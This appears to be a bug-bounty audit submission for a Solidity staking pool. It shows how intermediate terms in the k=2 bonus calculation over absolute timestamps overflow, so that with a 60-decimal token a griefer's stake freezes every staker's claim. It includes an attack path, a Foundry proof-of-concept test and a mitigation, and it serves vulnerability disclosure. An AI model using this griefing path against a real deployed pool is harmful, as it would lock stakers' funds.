FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: low

Absolute-timestamp k=2 expansion can overflow for supported ERC20 scales and freeze all claims

Author Revealed upon completion

Root + Impact

Description

After a pool resolves to SURVIVED or bonus-paying EXPIRED, every staker should be able to recover their principal and their k=2 time-weighted share of the bonus pool.

_bonusShare() calculates the mathematically equivalent score

stake * (T - entry)^2

through an expansion over absolute Unix timestamps:

T^2 * stake - 2*T*stake*entry + stake*entry^2

Although the final centered score can fit in uint256, the positive and negative intermediate terms can overflow before cancellation. In particular, the global positive term is evaluated with checked arithmetic:

function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
// @> The expanded global term can overflow before the subtraction.
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
...
}

At a production-like timestamp t ~= 1.75e9, the expanded addition can overflow at approximately:

type(uint256).max / (2 * t^2) ~= 1.89e58 raw units

This raw threshold must not be interpreted as 1.89e40 economically meaningful tokens by assuming 18 decimals. The documented compatibility includes standard ERC20 tokens and imposes no decimal or raw-supply bound. ERC-20 defines decimals() as optional uint8 display metadata; it does not constrain token arithmetic. For a standard token returning 60 decimals, 1.89e58 raw units represent only approximately 0.0189 displayed tokens.

Once such a token has been allowlisted and used by a pool, an unprivileged staker can push totalEligibleStake over the arithmetic boundary and permissionlessly contribute one raw bonus unit. The nonzero bonus bypasses _bonusShare()'s early return. After resolution, the same overflowing global term is evaluated for every claimant, so no staker can recover principal through the intended SURVIVED or EXPIRED payout.

Attack Path

  1. The factory owner allowlists an ERC20-compliant token with 60 decimals. This is unusual, but it does not use fee-on-transfer or rebasing behavior and does not violate the documented standard-ERC20 compatibility.

  2. An honest staker deposits 99% of type(uint256).max / (2*t^2) + 1 raw units. A griefer deposits the remaining 1% and contributes one raw bonus unit.

  3. Each deposit succeeds because the stored entry-time-square accumulator is still approximately half of type(uint256).max.

  4. The risk window opens and the pool later resolves to SURVIVED (the same payout calculation is used by bonus-paying EXPIRED).

  5. claimSurvived() calls _bonusShare() before transferring principal. T*T*snapshotTotalStaked + snapshotSumStakeTimeSq overflows with Panic(0x11).

  6. The claim transaction rolls back. Repeating the claim from either the victim or the griefer reaches the same global overflow. Withdrawals are already disabled and the pool has no principal-rescue path, leaving the stakers' intended payout locked.

Risk

Likelihood: Low

The attack requires a standard ERC20 whose raw supply can reach approximately 1.89e58, and that token must first be allowlisted by the trusted factory owner. High-decimal tokens at this scale are unusual, so the precondition is not expected for every pool.

However, the condition is computationally and economically feasible: minting and transferring the raw balance is constant-cost EVM arithmetic, and with 60 decimals the PoC's total stake is approximately 0.0189 displayed tokens. After allowlisting, the overflow is triggered entirely through permissionless stake() and contributeBonus() calls.

Impact: High

All SURVIVED claims and bonus-paying EXPIRED payouts route through the overflowing global score before principal is transferred. A successful trigger therefore freezes the principal and bonus entitlement of every staker in the affected pool. This directly affects user funds and breaks a core resolution path; there is no per-user escape or emergency principal withdrawal after the risk window opens.

Proof of Concept

The PoC uses the repository's existing Foundry harness. First, make the mock exercise the supported high-decimal ERC20 scale; this changes display metadata only and does not introduce fee-on-transfer, rebasing, hooks, or nonstandard transfer behavior:

diff --git a/test/mocks/MockERC20.sol b/test/mocks/MockERC20.sol
@@
contract MockERC20 is ERC20 {
constructor() ERC20("Mock", "MOCK") {}
+
+ function decimals() public pure override returns (uint8) {
+ return 60;
+ }
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}

Add the following test as test/audit/AbsoluteTimestampOverflow.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {stdError} from "forge-std/StdError.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
contract AbsoluteTimestampOverflowTest is BaseConfidencePoolTest {
function test_controlNormalStakeCanClaimPrincipalAndBonus() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(pool.expiry() - 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice), 100 * ONE + 1);
assertEq(pool.eligibleStake(alice), 0);
}
function test_highDecimalStakeLetsGrieferFreezeEveryClaim() external {
assertEq(uint256(token.decimals()), 60);
uint256 t = block.timestamp;
uint256 totalAtOverflow = type(uint256).max / (2 * t * t) + 1;
uint256 victimStake = totalAtOverflow * 99 / 100;
uint256 griefStake = totalAtOverflow - victimStake;
// Both stakes succeed. At 60 decimals they represent approximately
// 0.0187 and 0.00019 displayed tokens respectively.
_stake(alice, victimStake);
_stake(dave, griefStake);
_contributeBonus(carol, 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(pool.expiry() - 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
// The victim's principal remains in the pool after the reverted claim.
assertEq(pool.eligibleStake(alice), victimStake);
assertEq(token.balanceOf(alice), 0);
assertFalse(pool.hasClaimed(alice));
// A different claimant reaches the same overflowing global term.
vm.prank(dave);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
}
}

Run:

forge test --match-contract AbsoluteTimestampOverflowTest -vvv

Expected result:

[PASS] test_controlNormalStakeCanClaimPrincipalAndBonus()
[PASS] test_highDecimalStakeLetsGrieferFreezeEveryClaim()

Recommended Mitigation

The minimal complete mitigation is to cap total eligible stake using the maximum possible timestamp (expiry) before updating the k=2 accumulators. The factor of two protects both expanded timestamp-squared-equivalent terms:

contract ConfidencePool is Initializable, Ownable2Step, ReentrancyGuard, Pausable, IConfidencePool {
+ error StakeCapExceeded();
...
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+
+ uint256 expiry_ = uint256(expiry);
+ uint256 maxTotalEligible = type(uint256).max / (2 * expiry_ * expiry_);
+ if (totalEligibleStake + received > maxTotalEligible) revert StakeCapExceeded();
_clampUserSums(msg.sender);
...
}
}

Alternatively, store the k=2 accumulators using timestamps centered on riskWindowStart and calculate each score from (T - entry) deltas. This removes the large absolute-timestamp terms but requires consistently rebasing the existing global and lazy per-user accumulators.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!